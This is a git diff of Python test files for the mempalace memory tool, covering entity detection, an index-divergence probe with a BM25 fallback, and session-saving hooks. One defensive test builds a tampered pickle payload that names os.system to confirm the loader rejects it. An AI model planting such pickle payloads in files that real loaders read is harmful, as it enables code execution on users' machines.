@@ -148,6 +148,33 @@ def test_classify_entity_pronoun_only_is_uncertain():
assert result["type"] == "uncertain"
def test_classify_entity_high_pronoun_signal_is_person():
"""A diary's main character hit by many pronouns should still classify
as a person even with only the pronoun signal category. Example from
real data: `Lu` has 16 pronoun hits out of 30 mentions."""
scores = {
"person_score": 32,
"project_score": 0,
"person_signals": ["pronoun nearby (16x)"],
"project_signals": [],
}
result = classify_entity("Lu", 30, scores)
assert result["type"] == "person"
def test_classify_entity_low_pronoun_proximity_is_uncertain():
"""Common sentence-start words (Never, Before) get a few pronouns nearby
incidentally. The ratio stays low (<20%), so they stay uncertain."""
scores = {
"person_score": 4,
"project_score": 0,
"person_signals": ["pronoun nearby (2x)"],
"project_signals": [],
}
result = classify_entity("Never", 21, scores)
assert result["type"] == "uncertain"
def test_classify_entity_mixed_signals():
scores = {
"person_score": 5,
@@ -208,13 +235,13 @@ def test_detect_entities_empty_files(tmp_path):
f = tmp_path / "empty.txt"
f.write_text("")
result = detect_entities([f])
assert result == {"people": [], "projects": [], "uncertain": []}
assert result == {"people": [], "projects": [], "topics": [], "uncertain": []}
def test_detect_entities_handles_missing_file(tmp_path):
missing = tmp_path / "nonexistent.txt"
result = detect_entities([missing])
assert result == {"people": [], "projects": [], "uncertain": []}
assert result == {"people": [], "projects": [], "topics": [], "uncertain": []}
def test_detect_entities_respects_max_files(tmp_path):
@@ -661,3 +688,102 @@ def test_boundary_chars_english_regression():
result = extract_candidates(text, languages=("en",))
assert "Riley" in result
assert result["Riley"] >= 3
# ── Chinese (zh-TW / zh-CN) entity detection ──────────────────────────
# CJK scripts have no word delimiters — a regex-based extractor can only
# catch names when they have a non-CJK neighbour (whitespace, punctuation,
# newline, or mixed English). Real-world technical notes in zh-TW / zh-CN
# routinely satisfy this: names appear at the start of bullet lines, next
# to English terms, or before full-width punctuation 「」:,。. The patterns
# below target that realistic regime.
def test_zh_tw_candidate_extraction_at_boundaries():
"""A 3-char Traditional Chinese name is extracted when neighboured by
whitespace, English, full-width punctuation, or line-start."""
text = (
"# 會議紀錄\n"
"- 朱宜振 主持\n"
"朱宜振 跟 Jeffrey 討論。\n"
"朱宜振: 方向正確。\n"
"朱宜振, 明天 pitch。\n"
)
result = extract_candidates(text, languages=("zh-TW",))
assert "朱宜振" in result, f"expected 朱宜振 in {result}"
assert result["朱宜振"] >= 3
def test_zh_tw_person_classification():
"""A Traditional Chinese name with dialogue + verb context classifies
as a person."""
text = (
"朱宜振: 「我們要 6 月 launch。」\n"
"朱宜振 同意 Arnold 的方案。\n"
"朱宜振 覺得 Hermes 方向對。\n"
"朱宜振 決定 ship pitch。\n"
)
lines = text.splitlines()
scores = score_entity("朱宜振", text, lines, languages=("zh-TW",))
# Dialogue + action signals fire — person score dominates
assert scores["person_score"] > 0, f"expected person signals, got {scores}"
def test_zh_tw_stopwords_filter_common_particles():
"""Common Chinese particles / pronouns should be stopword-filtered
even if they happen to share a surname prefix like 甘 or 習."""
from mempalace.i18n import get_entity_patterns
patterns = get_entity_patterns(("zh-TW",))
stopwords = set(patterns["stopwords"])
# Sanity: stopwords are lower-cased from the source list
assert "這個" in stopwords
assert "我們" in stopwords
assert "他們" in stopwords
assert "完成" in stopwords
def test_zh_tw_falls_back_to_english_for_non_cjk_names():
"""English names embedded in Chinese text are still captured via the
English pattern — Lman's Chinese notes mix in names like 'Jeffrey Lai'."""
text = (
"朱宜振 跟 Jeffrey Lai 討論 pitch。\n"
"Jeffrey Lai 報告進度。\n"
"朱宜振 同意 Jeffrey Lai 的方案。\n"
"朱宜振: 確認。\n"
)
result = extract_candidates(text, languages=("zh-TW", "en"))
assert "Jeffrey Lai" in result or "Jeffrey" in result
assert "朱宜振" in result
def test_zh_cn_candidate_extraction():
"""Simplified-Chinese name extraction mirrors zh-TW behaviour."""
text = "张三 今天主持。\n- 张三 跟 Bob 谈。\n张三: 已经搞定了。\n张三, 明天继续。\n"
result = extract_candidates(text, languages=("zh-CN",))
assert "张三" in result, f"expected 张三 in {result}"
assert result["张三"] >= 3
def test_zh_cn_and_zh_tw_union_covers_both_variants():
"""Passing both zh-CN and zh-TW unions the surname sets — a document
mixing simplified 张三 and traditional 張三 extracts both."""
text = "张三 说 hello。张三 笑了。张三 同意。\n張三 也參加。張三 寫 code。張三 決定。\n"
result = extract_candidates(text, languages=("zh-TW", "zh-CN"))
# At least one variant meets freq>=3
assert "张三" in result or "張三" in result
def test_zh_tw_known_limitation_inline_name_no_boundary():
"""Documented limitation: a name sandwiched between CJK chars with no
whitespace or punctuation break is not extracted. This is a fundamental
limit of regex-based CJK entity detection — words have no delimiters.
Realistic Chinese writing has enough non-CJK boundaries (punctuation,
newlines, mixed English) that 3+ occurrences normally produce matches
elsewhere in the document, so this rarely degrades real-world recall."""
# 朱宜振 appears 4x but every instance is flanked by CJK on both sides.
text = "他是朱宜振今天來。說朱宜振決定。又朱宜振負責。問朱宜振意見。"
result = extract_candidates(text, languages=("zh-TW",))
# Extraction is expected to miss this adversarial case.
assert "朱宜振" not in result
+488
View File
@@ -0,0 +1,488 @@
"""Tests for the #1222 HNSW capacity probe and BM25-only fallback.
The probe and fallback never load chromadb's HNSW segment, so all of
these tests synthesize the on-disk shape directly: a chroma.sqlite3 with
the relevant schema rows and an ``index_metadata.pickle`` matching what
chromadb 1.5.x writes (``{"id_to_label": {...}, ...}``).
"""
from __future__ import annotations
import os
import pickle
import sqlite3
import pytest
from mempalace.backends.chroma import (
_hnsw_element_count,
_vector_segment_id,
hnsw_capacity_status,
)
from mempalace.searcher import _bm25_only_via_sqlite
COLLECTION = "mempalace_drawers"
# ── Fixtures ──────────────────────────────────────────────────────────
def _seed_chroma_db(
palace: str,
sqlite_count: int,
segment_id: str,
sync_threshold: int | None = None,
) -> None:
"""Create a minimal chroma.sqlite3 with one collection + VECTOR segment.
Mirrors the columns the probe queries: ``segments``, ``collections``,
``collection_metadata``, ``embeddings``, ``embedding_metadata``.
Schema matches chromadb 1.5.x; column types are kept loose because
we read with COUNT(*) and SELECT key, *_value rather than driver-
specific casts.
When ``sync_threshold`` is supplied, an ``hnsw:sync_threshold`` row
is added to ``collection_metadata`` so the divergence floor scales
accordingly. Omit to model an older palace that pre-dates PR #1191.
"""
db_path = os.path.join(palace, "chroma.sqlite3")
conn = sqlite3.connect(db_path)
try:
conn.executescript(
"""
CREATE TABLE collections (
id TEXT PRIMARY KEY,
name TEXT NOT NULL
);
CREATE TABLE collection_metadata (
collection_id TEXT REFERENCES collections(id) ON DELETE CASCADE,
key TEXT NOT NULL,
str_value TEXT,
int_value INTEGER,
float_value REAL,
bool_value INTEGER,
PRIMARY KEY (collection_id, key)
);
CREATE TABLE segments (
id TEXT PRIMARY KEY,
collection TEXT NOT NULL,
scope TEXT NOT NULL
);
CREATE TABLE embeddings (
id INTEGER PRIMARY KEY,
segment_id TEXT NOT NULL,
embedding_id TEXT NOT NULL,
seq_id BLOB NOT NULL,
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
);
CREATE TABLE embedding_metadata (
id INTEGER REFERENCES embeddings(id),
key TEXT NOT NULL,
string_value TEXT,
int_value INTEGER,
float_value REAL,
bool_value INTEGER,
PRIMARY KEY (id, key)
);
CREATE VIRTUAL TABLE embedding_fulltext_search
USING fts5(string_value, tokenize='trigram');
"""
)
col_id = "col-test"
meta_seg = "seg-meta"
conn.execute("INSERT INTO collections (id, name) VALUES (?, ?)", (col_id, COLLECTION))
if sync_threshold is not None:
conn.execute(
"""INSERT INTO collection_metadata (collection_id, key, int_value)
VALUES (?, 'hnsw:sync_threshold', ?)""",
(col_id, sync_threshold),
)
conn.execute(
"INSERT INTO segments (id, collection, scope) VALUES (?, ?, 'VECTOR')",
(segment_id, col_id),
)
conn.execute(
"INSERT INTO segments (id, collection, scope) VALUES (?, ?, 'METADATA')",
(meta_seg, col_id),
)
for i in range(sqlite_count):
conn.execute(
"""INSERT INTO embeddings (id, segment_id, embedding_id, seq_id)
VALUES (?, ?, ?, ?)""",
(i + 1, segment_id, f"d-{i}", b"\x00\x00\x00\x00\x00\x00\x00\x01"),
)
conn.commit()
finally:
conn.close()
def _write_pickle(palace: str, segment_id: str, hnsw_count: int) -> None:
"""Write an index_metadata.pickle matching chromadb 1.5.x's shape.
1.5.x ``__reduce_ex__`` serializes the PersistentData instance as a
plain dict; we replicate that so the safe unpickler in
``_hnsw_element_count`` reads the same bytes shape it would in
production.
"""
seg_dir = os.path.join(palace, segment_id)
os.makedirs(seg_dir, exist_ok=True)
pickle_path = os.path.join(seg_dir, "index_metadata.pickle")
state = {
"dimensionality": 384,
"total_elements_added": hnsw_count,
"max_seq_id": None,
"id_to_label": {f"d-{i}": i for i in range(hnsw_count)},
"label_to_id": {i: f"d-{i}" for i in range(hnsw_count)},
"id_to_seq_id": {},
}
with open(pickle_path, "wb") as f:
pickle.dump(state, f, pickle.HIGHEST_PROTOCOL)
# ── _vector_segment_id ────────────────────────────────────────────────
def test_vector_segment_id_returns_uuid(tmp_path):
seg = "11111111-2222-3333-4444-555555555555"
_seed_chroma_db(str(tmp_path), sqlite_count=10, segment_id=seg)
assert _vector_segment_id(str(tmp_path), COLLECTION) == seg
def test_vector_segment_id_no_palace(tmp_path):
assert _vector_segment_id(str(tmp_path), COLLECTION) is None
def test_vector_segment_id_unknown_collection(tmp_path):
seg = "11111111-2222-3333-4444-555555555555"
_seed_chroma_db(str(tmp_path), sqlite_count=10, segment_id=seg)
assert _vector_segment_id(str(tmp_path), "nope") is None
# ── _hnsw_element_count ───────────────────────────────────────────────
def test_hnsw_element_count_reads_pickle(tmp_path):
seg = "seg-001"
_seed_chroma_db(str(tmp_path), sqlite_count=100, segment_id=seg)
_write_pickle(str(tmp_path), seg, hnsw_count=42)
assert _hnsw_element_count(str(tmp_path), seg) == 42
def test_hnsw_element_count_missing_pickle(tmp_path):
seg = "seg-001"
_seed_chroma_db(str(tmp_path), sqlite_count=100, segment_id=seg)
# Segment dir doesn't even exist — no flush ever happened.
assert _hnsw_element_count(str(tmp_path), seg) is None
def test_hnsw_element_count_rejects_arbitrary_class(tmp_path):
"""Pickled references to unallowed classes must not deserialize.
Guards against a tampered ``index_metadata.pickle`` triggering code
execution. The unpickler allowlist is the only protection between
the file and arbitrary import-time side effects. We hand-craft the
pickle bytes (rather than ``pickle.dump`` a local class) because
pickle can't serialize locally-defined classes — but the bytes form
that names an arbitrary stdlib class is a faithful proxy for the
tampered-file threat we want to test.
"""
import pickle as _pickle
seg = "seg-evil"
seg_dir = tmp_path / seg
seg_dir.mkdir()
pickle_path = seg_dir / "index_metadata.pickle"
# GLOBAL opcode pointing at os.system, then STOP. If the unpickler
# didn't enforce the allowlist, find_class would resolve os.system
# and pickle would set up the call. The allowlist must reject it
# before find_class returns anything.
payload = b"c" + b"os\nsystem\n" + _pickle.STOP
pickle_path.write_bytes(payload)
assert _hnsw_element_count(str(tmp_path), seg) is None
# ── hnsw_capacity_status ──────────────────────────────────────────────
def test_capacity_status_ok_when_balanced(tmp_path):
seg = "seg-001"
_seed_chroma_db(str(tmp_path), sqlite_count=1000, segment_id=seg)
_write_pickle(str(tmp_path), seg, hnsw_count=950)
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
assert info["status"] == "ok"
assert info["diverged"] is False
assert info["sqlite_count"] == 1000
assert info["hnsw_count"] == 950
def test_capacity_status_flags_severe_divergence(tmp_path):
"""Reproduces #1222: sqlite has 192k, HNSW frozen at ~16k."""
seg = "seg-1222"
_seed_chroma_db(str(tmp_path), sqlite_count=20_000, segment_id=seg)
_write_pickle(str(tmp_path), seg, hnsw_count=2_000)
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
assert info["status"] == "diverged"
assert info["diverged"] is True
assert info["divergence"] == 18_000
assert "repair" in info["message"].lower()
def test_capacity_status_tolerates_flush_lag(tmp_path):
"""A few hundred entries behind sqlite is normal post-mine state."""
seg = "seg-lag"
_seed_chroma_db(str(tmp_path), sqlite_count=5_000, segment_id=seg)
_write_pickle(str(tmp_path), seg, hnsw_count=4_500)
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
assert info["diverged"] is False
assert info["status"] == "ok"
def test_capacity_status_flags_unflushed_with_large_sqlite(tmp_path):
"""No pickle + many sqlite rows is its own divergence signal."""
seg = "seg-noflush"
_seed_chroma_db(str(tmp_path), sqlite_count=10_000, segment_id=seg)
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
assert info["diverged"] is True
assert info["hnsw_count"] is None
assert "never flushed" in info["message"]
def test_capacity_status_quiet_for_empty_palace(tmp_path):
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
assert info["diverged"] is False
assert info["status"] == "unknown"
# ── Divergence threshold scales with hnsw:sync_threshold ───────────────
def test_capacity_status_tolerates_lag_under_large_sync_threshold(tmp_path):
"""Regression for the PR #1191 / PR #1227 conflict.
Palaces created via mempalace's _HNSW_BLOAT_GUARD (sync_threshold=
50_000) naturally accumulate up to ~50K queued entries between
flushes. The pickle-vs-sqlite probe must scale its tolerance to
``2 × sync_threshold`` so this expected lag is not flagged as
corruption — otherwise vector search disables for ~80% of the
write cycle on any actively-mined ≥100K palace.
"""
seg = "seg-bloat-guard"
_seed_chroma_db(str(tmp_path), sqlite_count=100_000, segment_id=seg, sync_threshold=50_000)
_write_pickle(str(tmp_path), seg, hnsw_count=50_000)
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
# 50K divergence is exactly one flush window — well within 2× = 100K.
assert info["diverged"] is False, info["message"]
assert info["status"] == "ok"
assert info["divergence"] == 50_000
def test_capacity_status_still_flags_real_corruption_under_large_sync(tmp_path):
"""The dynamic floor must still catch genuine #1222-style corruption.
sqlite at 200K with HNSW frozen at 16K is the original #1222 shape —
any reasonable threshold should flag it, regardless of whether the
collection was created with sync_threshold=1000 or 50_000.
"""
seg = "seg-1222-with-bloat-guard"
_seed_chroma_db(str(tmp_path), sqlite_count=200_000, segment_id=seg, sync_threshold=50_000)
_write_pickle(str(tmp_path), seg, hnsw_count=16_384)
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
# 183,616 missing — far past 2 × 50K = 100K floor and 10% of 200K = 20K.
assert info["diverged"] is True
assert info["status"] == "diverged"
assert info["divergence"] == 183_616
def test_capacity_status_default_threshold_when_no_sync_metadata(tmp_path):
"""Older palaces without ``hnsw:sync_threshold`` fall back to 2000 floor.
Pre-PR-#1191 collections only carry ``hnsw:space``. The probe must
use chromadb's own default sync_threshold of 1000 → floor of 2000,
matching pre-fix behavior.
"""
seg = "seg-legacy"
# No sync_threshold supplied — collection_metadata stays empty.
_seed_chroma_db(str(tmp_path), sqlite_count=10_000, segment_id=seg)
_write_pickle(str(tmp_path), seg, hnsw_count=7_500)
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
# 2,500 divergence > max(2000 floor, 10% of 10K = 1000) → DIVERGED
assert info["diverged"] is True
assert info["divergence"] == 2_500
def test_unflushed_path_also_uses_dynamic_floor(tmp_path):
"""The never-flushed branch must scale with sync_threshold too.
A 30K-drawer collection under sync_threshold=50_000 hasn't reached
its first flush yet — pickle is absent. Pre-fix this would flag
DIVERGED (30K > fixed 2000 floor); post-fix the 30K stays under
the dynamic 100K floor.
"""
seg = "seg-preflush-large"
_seed_chroma_db(str(tmp_path), sqlite_count=30_000, segment_id=seg, sync_threshold=50_000)
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
assert info["hnsw_count"] is None
assert info["diverged"] is False, info["message"]
# ── BM25-only sqlite fallback ─────────────────────────────────────────
def _seed_drawers(palace: str, segment_id: str, drawers: list[tuple[str, dict, str]]) -> None:
"""Insert (text, metadata, embedding_id) tuples into a seeded palace.
Replaces the bare ``embeddings`` rows from ``_seed_chroma_db`` so the
sqlite count matches what we insert here.
"""
db_path = os.path.join(palace, "chroma.sqlite3")
conn = sqlite3.connect(db_path)
try:
conn.execute("DELETE FROM embeddings")
for i, (text, meta, eid) in enumerate(drawers, start=1):
conn.execute(
"""INSERT INTO embeddings (id, segment_id, embedding_id, seq_id)
VALUES (?, ?, ?, ?)""",
(i, segment_id, eid, b"\x00" * 8),
)
conn.execute(
"""INSERT INTO embedding_metadata (id, key, string_value)
VALUES (?, 'chroma:document', ?)""",
(i, text),
)
conn.execute(
"INSERT INTO embedding_fulltext_search (rowid, string_value) VALUES (?, ?)",
(i, text),
)
for k, v in meta.items():
if isinstance(v, int):
conn.execute(
"""INSERT INTO embedding_metadata (id, key, int_value)
VALUES (?, ?, ?)""",
(i, k, v),
)
else:
conn.execute(
"""INSERT INTO embedding_metadata (id, key, string_value)
VALUES (?, ?, ?)""",
(i, k, str(v)),
)
conn.commit()
finally:
conn.close()
@pytest.fixture
def palace_with_drawers(tmp_path):
seg = "seg-bm25"
_seed_chroma_db(str(tmp_path), sqlite_count=0, segment_id=seg)
drawers = [
(
"ChromaDB segfault on every tool call after HNSW divergence",
{"wing": "ops", "room": "incidents", "source_file": "/x/incident.md"},
"d-1",
),
(
"Memory palace technique using rooms and drawers for recall",
{"wing": "design", "room": "metaphor", "source_file": "/x/design.md"},
"d-2",
),
(
"Repair rebuild backs up only the sqlite database",
{"wing": "ops", "room": "runbook", "source_file": "/x/repair.md"},
"d-3",
),
]
_seed_drawers(str(tmp_path), seg, drawers)
return tmp_path
def test_bm25_fallback_returns_matches(palace_with_drawers):
out = _bm25_only_via_sqlite("segfault chromadb", str(palace_with_drawers), n_results=5)
assert out["fallback"] == "bm25_only_via_sqlite"
assert len(out["results"]) >= 1
top = out["results"][0]
# The incident drawer is the closest BM25 match for these terms.
assert "segfault" in top["text"].lower()
assert top["matched_via"] == "bm25_sqlite"
# Vector fields are intentionally absent in fallback mode.
assert top["similarity"] is None
assert top["distance"] is None
def test_bm25_fallback_filters_by_wing(palace_with_drawers):
out = _bm25_only_via_sqlite(
"memory palace recall", str(palace_with_drawers), wing="design", n_results=5
)
assert all(r["wing"] == "design" for r in out["results"])
def test_bm25_fallback_no_palace(tmp_path):
out = _bm25_only_via_sqlite("anything", str(tmp_path))
assert "error" in out
def test_bm25_fallback_handles_short_query(palace_with_drawers):
"""Single-character tokens are unmatchable in trigram FTS5 — must
not crash, must fall back to the recency window."""
out = _bm25_only_via_sqlite("a", str(palace_with_drawers), n_results=5)
# Falls back to recency window; returns whatever it can rank.
assert out["fallback"] == "bm25_only_via_sqlite"
assert isinstance(out["results"], list)
# ── repair.status CLI command ─────────────────────────────────────────
def test_repair_status_reports_diverged(tmp_path, capsys):
"""The status command prints DIVERGED and recommends rebuild."""
from mempalace.repair import status as repair_status
seg = "seg-status"
_seed_chroma_db(str(tmp_path), sqlite_count=20_000, segment_id=seg)
_write_pickle(str(tmp_path), seg, hnsw_count=2_000)
out = repair_status(palace_path=str(tmp_path))
captured = capsys.readouterr().out
assert "DIVERGED" in captured
assert "mempalace repair`" in captured
assert out["drawers"]["diverged"] is True
def test_repair_status_quiet_on_healthy_palace(tmp_path, capsys):
from mempalace.repair import status as repair_status
seg = "seg-status-ok"
_seed_chroma_db(str(tmp_path), sqlite_count=500, segment_id=seg)
_write_pickle(str(tmp_path), seg, hnsw_count=480)
repair_status(palace_path=str(tmp_path))
captured = capsys.readouterr().out
assert "DIVERGED" not in captured
assert "Recommended" not in captured
# ── tool_status sqlite fallback (#1222 short-circuit) ─────────────────
def test_tool_status_via_sqlite_returns_breakdown(palace_with_drawers, monkeypatch):
"""When _vector_disabled is set, tool_status reads counts from sqlite
instead of opening a chromadb client."""
from mempalace import mcp_server
# _config.palace_path is a read-only property; swap the whole object
# for a tiny stand-in so we don't have to monkey with the real
# MempalaceConfig.
class _Cfg:
palace_path = str(palace_with_drawers)
monkeypatch.setattr(mcp_server, "_config", _Cfg())
monkeypatch.setattr(mcp_server, "_vector_disabled", True)
monkeypatch.setattr(mcp_server, "_vector_disabled_reason", "test divergence")
out = mcp_server._tool_status_via_sqlite()
assert out["vector_disabled"] is True
assert out["vector_disabled_reason"] == "test divergence"
assert out["total_drawers"] == 3
# Wing breakdown comes from the seeded palace_with_drawers fixture:
# ops×2 (incident + repair runbook), design×1 (metaphor).
assert out["wings"].get("ops") == 2
assert out["wings"].get("design") == 1
+470 -83
View File
@@ -1,22 +1,27 @@
import contextlib
import io
import json
import os
import subprocess
from pathlib import Path
from unittest.mock import patch
from unittest.mock import MagicMock, patch
import pytest
from mempalace.hooks_cli import (
SAVE_INTERVAL,
STOP_BLOCK_REASON,
_count_human_messages,
_get_mine_dir,
_extract_recent_messages,
_get_mine_targets,
_log,
_maybe_auto_ingest,
_mempalace_python,
_mine_already_running,
_mine_sync,
_parse_harness_input,
_sanitize_session_id,
_validate_transcript_path,
_wing_from_transcript_path,
hook_stop,
hook_session_start,
hook_precompact,
@@ -24,6 +29,21 @@ from mempalace.hooks_cli import (
)
# --- _mempalace_python ---
def test_mempalace_python_returns_string():
result = _mempalace_python()
assert isinstance(result, str)
assert "python" in result
def test_mempalace_python_finds_venv():
"""Should resolve to a valid Python interpreter path."""
result = _mempalace_python()
assert result and "python" in os.path.basename(result).lower()
# --- _sanitize_session_id ---
@@ -107,17 +127,57 @@ def test_count_malformed_json_lines(tmp_path):
assert _count_human_messages(str(transcript)) == 1
# --- _extract_recent_messages ---
def test_extract_recent_messages_basic(tmp_path):
transcript = tmp_path / "t.jsonl"
_write_transcript(
transcript,
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(5)],
)
msgs = _extract_recent_messages(str(transcript), count=3)
assert len(msgs) == 3
assert msgs[0] == "msg 2"
assert msgs[2] == "msg 4"
def test_extract_recent_messages_skips_commands(tmp_path):
transcript = tmp_path / "t.jsonl"
_write_transcript(
transcript,
[
{"message": {"role": "user", "content": "real msg"}},
{"message": {"role": "user", "content": "<command-message>status</command-message>"}},
{"message": {"role": "user", "content": "<system-reminder>hook</system-reminder>"}},
],
)
msgs = _extract_recent_messages(str(transcript))
assert len(msgs) == 1
assert msgs[0] == "real msg"
def test_extract_recent_messages_missing_file():
assert _extract_recent_messages("/nonexistent.jsonl") == []
# --- hook_stop ---
def _capture_hook_output(hook_fn, data, harness="claude-code", state_dir=None):
"""Run a hook and capture its JSON stdout output."""
import io
from unittest.mock import PropertyMock
buf = io.StringIO()
patches = [patch("mempalace.hooks_cli._output", side_effect=lambda d: buf.write(json.dumps(d)))]
if state_dir:
patches.append(patch("mempalace.hooks_cli.STATE_DIR", state_dir))
# Mock MempalaceConfig so tests don't depend on user's ~/.mempalace/config.json
mock_config = MagicMock()
type(mock_config).hook_silent_save = PropertyMock(return_value=True)
type(mock_config).hook_desktop_toast = PropertyMock(return_value=False)
patches.append(patch("mempalace.config.MempalaceConfig", return_value=mock_config))
with contextlib.ExitStack() as stack:
for p in patches:
stack.enter_context(p)
@@ -159,19 +219,43 @@ def test_stop_hook_passthrough_below_interval(tmp_path):
assert result == {}
def test_stop_hook_blocks_at_interval(tmp_path):
def test_stop_hook_saves_silently_at_interval(tmp_path):
transcript = tmp_path / "t.jsonl"
_write_transcript(
transcript,
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
)
result = _capture_hook_output(
hook_stop,
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
state_dir=tmp_path,
save_result = {"count": 15, "themes": ["hooks", "notifications"]}
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save:
result = _capture_hook_output(
hook_stop,
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
state_dir=tmp_path,
)
# Saves silently — systemMessage notification with themes, no block
assert result["systemMessage"].startswith("\u2726 15 memories woven into the palace")
assert "hooks" in result["systemMessage"]
# tmp_path has no "-Projects-" segment, so _wing_from_transcript_path falls back to "wing_sessions"
mock_save.assert_called_once_with(str(transcript), "test", wing="wing_sessions", toast=False)
def test_stop_hook_derives_wing_from_transcript_path(tmp_path):
"""When transcript path looks like a Claude Code path, wing is derived from it."""
project_dir = tmp_path / ".claude" / "projects" / "-home-jp-Projects-myproject"
project_dir.mkdir(parents=True)
transcript = project_dir / "session.jsonl"
_write_transcript(
transcript,
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
)
assert result["decision"] == "block"
assert result["reason"] == STOP_BLOCK_REASON
save_result = {"count": 15, "themes": []}
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save:
_capture_hook_output(
hook_stop,
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
state_dir=tmp_path,
)
mock_save.assert_called_once_with(str(transcript), "test", wing="wing_myproject", toast=False)
def test_stop_hook_tracks_save_point(tmp_path):
@@ -182,13 +266,17 @@ def test_stop_hook_tracks_save_point(tmp_path):
)
data = {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}
# First call blocks
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
assert result["decision"] == "block"
# First call saves silently with systemMessage notification
save_result = {"count": 15, "themes": ["hooks"]}
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
assert "systemMessage" in result
# Second call with same count passes through (already saved)
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
with patch("mempalace.hooks_cli._save_diary_direct") as mock_save:
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
assert result == {}
mock_save.assert_not_called()
# --- hook_session_start ---
@@ -215,9 +303,111 @@ def test_precompact_allows(tmp_path):
assert result == {}
# --- _wing_from_transcript_path ---
def test_wing_from_transcript_path_extracts_project():
path = "/home/jp/.claude/projects/-home-jp-Projects-memorypalace/session.jsonl"
assert _wing_from_transcript_path(path) == "wing_memorypalace"
def test_wing_from_transcript_path_fallback():
assert _wing_from_transcript_path("/some/random/path.jsonl") == "wing_sessions"
def test_wing_from_transcript_path_windows_backslashes():
path = "C:\\Users\\jp\\.claude\\projects\\-home-jp-Projects-myapp\\session.jsonl"
assert _wing_from_transcript_path(path) == "wing_myapp"
def test_wing_from_transcript_path_lowercases():
path = "/home/jp/.claude/projects/-home-jp-Projects-MyProject/session.jsonl"
assert _wing_from_transcript_path(path) == "wing_myproject"
def test_wing_from_transcript_path_non_projects_layout():
# Linux users with code under ~/dev/, ~/src/, ~/code/ — no -Projects- segment.
# Project name is the final dash-separated token of the encoded folder.
path = "/home/igor/.claude/projects/-home-igor-dev-MemPalace-mempalace/session.jsonl"
assert _wing_from_transcript_path(path) == "wing_mempalace"
def test_wing_from_transcript_path_macos_users_layout():
# macOS ~/ layout without a Projects/ segment.
path = "/Users/alice/.claude/projects/-Users-alice-code-MyApp/session.jsonl"
assert _wing_from_transcript_path(path) == "wing_myapp"
def test_wing_from_transcript_path_nested_deep():
path = "/home/bob/.claude/projects/-home-bob-work-clients-acme-frontend/session.jsonl"
assert _wing_from_transcript_path(path) == "wing_frontend"
# --- _log ---
def test_output_writes_to_real_stdout_fd_when_mcp_server_loaded():
"""_output() must reach fd 1 even when mcp_server has redirected sys.stdout."""
import types
fake_module = types.ModuleType("mempalace.mcp_server")
read_fd, write_fd = os.pipe()
try:
fake_module._REAL_STDOUT_FD = write_fd
with patch.dict("sys.modules", {"mempalace.mcp_server": fake_module}):
from mempalace.hooks_cli import _output
_output({"systemMessage": "test"})
os.close(write_fd)
written = b""
while True:
chunk = os.read(read_fd, 4096)
if not chunk:
break
written += chunk
finally:
os.close(read_fd)
data = json.loads(written.decode())
assert data["systemMessage"] == "test"
def test_output_falls_back_to_fd1_when_mcp_server_absent():
"""_output() writes to fd 1 directly when mcp_server is not loaded."""
read_fd, write_fd = os.pipe()
try:
orig_fd1 = os.dup(1)
os.dup2(write_fd, 1)
os.close(write_fd)
try:
modules_without_mcp = {
k: v for k, v in __import__("sys").modules.items() if "mcp_server" not in k
}
with patch.dict("sys.modules", modules_without_mcp, clear=True):
from mempalace.hooks_cli import _output
_output({"continue": True})
finally:
os.dup2(orig_fd1, 1)
os.close(orig_fd1)
except Exception:
os.close(read_fd)
raise
written = b""
while True:
chunk = os.read(read_fd, 4096)
if not chunk:
break
written += chunk
os.close(read_fd)
data = json.loads(written.decode())
assert data["continue"] is True
def test_log_writes_to_hook_log(tmp_path):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
_log("test message")
@@ -245,25 +435,105 @@ def test_maybe_auto_ingest_no_env(tmp_path):
def test_maybe_auto_ingest_with_env(tmp_path):
"""With MEMPAL_DIR set to a valid directory, spawns subprocess."""
"""With MEMPAL_DIR set, spawns mine in projects mode against that dir."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest()
mock_popen.assert_called_once()
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest()
mock_popen.assert_called_once()
cmd = mock_popen.call_args[0][0]
assert "mine" in cmd
assert str(mempal_dir.resolve()) in cmd
assert cmd[cmd.index("--mode") + 1] == "projects"
def test_maybe_auto_ingest_with_transcript(tmp_path):
"""Falls back to transcript directory when MEMPAL_DIR is not set."""
transcript = tmp_path / "t.jsonl"
def test_maybe_auto_ingest_uses_mempalace_python(tmp_path):
"""Spawned mine command uses _mempalace_python(), not bare sys.executable.
Hook subprocesses inherit the harness PATH which on GUI-launched
Claude Code may resolve to a system Python without chromadb. The
interpreter used here must be the same one the hook itself runs
under (typically the venv that owns mempalace).
"""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
